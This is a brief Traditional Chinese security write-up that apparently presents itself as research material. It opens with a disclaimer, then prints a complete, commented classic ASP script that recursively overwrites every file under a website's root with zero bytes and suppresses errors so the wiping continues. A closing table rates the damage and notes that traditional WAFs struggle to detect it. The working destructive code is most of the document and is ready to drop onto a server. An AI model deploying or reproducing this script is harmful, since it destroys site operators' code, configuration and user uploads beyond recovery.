本文僅供安全研究與防禦分析目的,嚴禁用於攻擊行為。 該程式碼可遞歸清空 Web 站點目錄下所有檔案內容(大小歸零),屬破壞性惡意程式碼。
Submit 參數Shell.Application COM 物件(需伺服器啟用)ListFile 函數遞歸處理子目錄ADODB.Stream 以二進位模式開啟,SaveToFile path, 2 覆寫檔案為空內容On Error Resume Next 忽略權限不足等錯誤繼續破壞
<%
Server.ScriptTimeout = 99999 ' 延長腳本逾時,確保大量檔案處理完成
If Request("Submit") <> "" Then
Call ListFile(Server.MapPath("./")) ' 從網站根目錄開始遞歸
Response.Write "清理完畢"
Else
Response.Write ""
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell, Folder, f, s
Set Shell = Server.CreateObject("Shell.Application")
Set Folder = Shell.NameSpace(fpath)
Set f = Server.CreateObject("ADODB.Stream")
f.Type = 1 ' 二進位模式
f.Open
For Each s In Folder.Items
If s.IsFolder Then
Call ListFile(s.Path) ' 遞歸進入子目錄
Else
f.SaveToFile s.Path, 2 ' 2 = adSaveCreateOverWrite,覆寫為空檔案
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
%>
| 維度 | 評估 |
|---|---|
| 破壞範圍 | 網站根目錄下所有可寫入檔案(含程式碼、配置、上傳檔案) |
| 破壞程度 | 檔案內容歸零,大小變 0 bytes,資料永久遺失(無備份情況下) |
| 執行權限需求 | 需 Web 執行身分對目錄有寫入權限;需伺服器註冊 Shell.Application COM 元件 |
| 偵測難度 | 無明顯特徵碼,行為屬檔案寫入操作,傳統 WAF 難攔截 |